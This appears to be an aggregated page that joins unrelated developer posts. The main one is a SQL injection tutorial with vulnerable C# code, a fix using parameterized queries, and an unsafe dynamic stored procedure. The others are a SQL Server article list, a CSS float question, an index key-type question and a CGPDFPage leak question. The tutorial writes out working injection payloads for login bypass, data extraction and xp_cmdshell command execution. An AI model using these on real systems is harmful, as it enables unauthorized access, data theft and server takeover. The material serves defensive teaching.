    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

  • SQL SERVER – Weekly Series – Memory Lane – #038

    - by Pinal Dave
    Here is the list of selected articles of SQLAuthority.com across all these years. Instead of just listing all the articles I have selected a few of my most favorite articles and have listed them here with additional notes below it. Let me know which one of the following is your favorite article from memory lane. 2007 CASE Statement in ORDER BY Clause – ORDER BY using Variable This article is as per request from the Application Development Team Leader of my company. His team encountered code where the application was preparing string for ORDER BY clause of the SELECT statement. Application was passing this string as variable to Stored Procedure (SP) and SP was using EXEC to execute the SQL string. This is not good for performance as Stored Procedure has to recompile every time due to EXEC. sp_executesql can do the same task but still not the best performance. SSMS – View/Send Query Results to Text/Grid/Files Results to Text – CTRL + T Results to Grid – CTRL + D Results to File – CTRL + SHIFT + F 2008 Introduction to SPARSE Columns Part 2 I wrote about Introduction to SPARSE Columns Part 1. Let us understand the concept of the SPARSE column in more detail. I suggest you read the first part before continuing reading this article. All SPARSE columns are stored as one XML column in the database. Let us see some of the advantage and disadvantage of SPARSE column. Deferred Name Resolution How come when table name is incorrect SP can be created successfully but when an incorrect column is used SP cannot be created? 2009 Backup Timeline and Understanding of Database Restore Process in Full Recovery Model In general, databases backup in full recovery mode is taken in three different kinds of database files. Full Database Backup Differential Database Backup Log Backup Restore Sequence and Understanding NORECOVERY and RECOVERY While doing RESTORE Operation if you restoring database files, always use NORECOVER option as that will keep the database in a state where more backup file are restored. This will also keep database offline also to prevent any changes, which can create itegrity issues. Once all backup file is restored run RESTORE command with a RECOVERY option to get database online and operational. Four Different Ways to Find Recovery Model for Database Perhaps, the best thing about technical domain is that most of the things can be executed in more than one ways. It is always useful to know about the various methods of performing a single task. Two Methods to Retrieve List of Primary Keys and Foreign Keys of Database When Information Schema is used, we will not be able to discern between primary key and foreign key; we will have both the keys together. In the case of sys schema, we can query the data in our preferred way and can join this table to another table, which can retrieve additional data from the same. Get Last Running Query Based on SPID PID is returns sessions ID of the current user process. The acronym SPID comes from the name of its earlier version, Server Process ID. 2010 SELECT * FROM dual – Dual Equivalent Dual is a table that is created by Oracle together with data dictionary. It consists of exactly one column named “dummy”, and one record. The value of that record is X. You can check the content of the DUAL table using the following syntax. SELECT * FROM dual Identifying Statistics Used by Query Someone asked this question in my training class of query optimization and performance tuning.  “Can I know which statistics were used by my query?” 2011 SQL SERVER – Interview Questions and Answers – Frequently Asked Questions – Day 14 of 31 What are the basic functions for master, msdb, model, tempdb and resource databases?

  • css: zoooming-out inside the browser moves rightmost floated div below other divs

    - by John Sonderson
    I am seeing something strange in both firefox and chrome when I increase the zoom level inside these browsers, although I see nothing wrong with my CSS... I am hoping someone on this group will be able to help. Here is the whole story: I have a right-floated top-level div containing three right-floated right. The three inner divs have all box-model measurements in pixels which add up to the width of the enclosing container. Everything looks fine when the browser size is 100%, but when I start making the browser smaller with CTRL+scrollwheel or CTRL+minus the rightmost margin shrinks down too fast and eventually becomes zero, forcing my rightmost floated inner div to fall down below the other two! I can't make sense out of this, almost seems like some integer division is being performed incorrectly in the browser code, but alas firefox and chrome both display the same result. Here is the example (just zoom out with CTRL-minus to see what I mean): Click Here to View What I Mean on Example Site Just to narrow things down a bit, the tags of interest are the following: div#mainContent div#contentLeft div#contentCenter div#contentRight I've searched stackoverflow for an answer and found the following posts which seem related to my question but was not able to apply them to the problem I am experiencing: http:// stackoverflow.com/questions/6955313/div-moves-incorrectly-on-browser-resize http:// stackoverflow.com/questions/18246882/divs-move-when-resizing-page http:// stackoverflow.com/questions/17637231/moving-an-image-when-browser-resizes http:// stackoverflow.com/questions/5316380/how-to-stop-divs-moving-when-the-browser-is-resized I've duplicated the html and css code below for your convenience: Here is the HTML: <!doctype html> <html> <head> <meta charset="utf-8"> <title>Pinco</title> <link href="css/style.css" rel="stylesheet" type="text/css"> </head> <body> <div id="wrapper"> <header> <div class="logo"> <a href="http://pinco.com"> <img class="logo" src="images/PincoLogo5.png" alt="Pinco" /> </a> </div> <div class="titolo"> <h1>Benvenuti!</h1> <h2>Siete arrivati al sito pinco.</h2> </div> <nav> <ul class="menu"> <li><a href="#">Menù Qui</a></li> <li><a href="#">Menù Quo</a></li> <li><a href="#">Menù Qua</a></li> </ul> </nav> </header> <div id="mainContent"> <div id="contentLeft"> <section> <article> <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit.

  • is of a type that is invalid for use as a key column in an index.

    - by acidzombie24
    I have an error at Column 'key' in table 'misc_info' is of a type that is invalid for use as a key column in an index. where key is a nvarchar(max). A quick google found this. It however doesnt explain what a solution is. How do i create something like Dictionary where the key and value are both strings and obviously the key must be unique and is single. My sql statement was create table [misc_info] ( [id] INTEGER PRIMARY KEY IDENTITY NOT NULL, [key] nvarchar(max) UNIQUE NOT NULL, [value] nvarchar(max) NOT NULL);

  • iPhone: CGPDFPageRef & CGPDFPageRelease memory leak and cryptic error message

    - by carloe
    Could someone tell me why the code below outputs "missing or invalid MediaBox" in the console? The code works fine if I remove CGPDFPageRelease(page);, but then my app starts leaking like crazy. -(CGSize)dimensionOfPageAtIndex:(int)index { CGPDFPageRef page = CGPDFDocumentGetPage(pdf, index); CGRect tempRect = CGPDFPageGetBoxRect(page, kCGPDFBleedBox); CGSize tempSize = CGSizeMake(tempRect.size.width, tempRect.size.height); CGPDFPageRelease(page); return tempSize; } I also have this code in my app, and releasing the pageref here works just fine... -(UIImage *)pageAtIndex:(NSInteger)pageNumber withWidth:(CGFloat)width andHeight:(CGFloat)height { if((pageNumber>0) && (pageNumber<=pageCount)) { CGFloat scaleRatio; // multiplier by which the PDF Page will be scaled UIGraphicsBeginImageContext(CGSizeMake(width, height)); CGContextRef context = UIGraphicsGetCurrentContext(); CGPDFPageRef page = CGPDFDocumentGetPage(pdf, pageNumber); CGRect pageRect = CGPDFPageGetBoxRect(page, kCGPDFBleedBox); //Figure out the orientation of the PDF page and set the scaleRatio accordingly if(pageRect.size.width/pageRect.size.height < 1.0) { scaleRatio = height/pageRect.size.height; } else { scaleRatio = width/pageRect.size.width; } //Calculate the offset to center the image CGFloat xOffset = 0.0; CGFloat yOffset = height; if(pageRect.size.width*scaleRatio<width) { xOffset = (width/2)-(pageRect.size.width*scaleRatio/2); } else { yOffset = height-((height/2)-(pageRect.size.height*scaleRatio/2)); } CGContextTranslateCTM(context, xOffset, yOffset); CGContextScaleCTM(context, 1.0, -1.0); CGContextSaveGState(context); CGAffineTransform pdfTransform = CGPDFPageGetDrawingTransform(page, kCGPDFBleedBox, CGRectMake(0, 0, pageRect.size.width, pageRect.size.height), 0, true); pdfTransform = CGAffineTransformScale(pdfTransform, scaleRatio, scaleRatio); CGContextConcatCTM(context, pdfTransform); CGContextDrawPDFPage(context, page); CGContextRestoreGState(context); UIImage *tempImage = UIGraphicsGetImageFromCurrentImageContext(); CGContextRelease(context); CGPDFPageRelease(page); return tempImage; } return NO; }
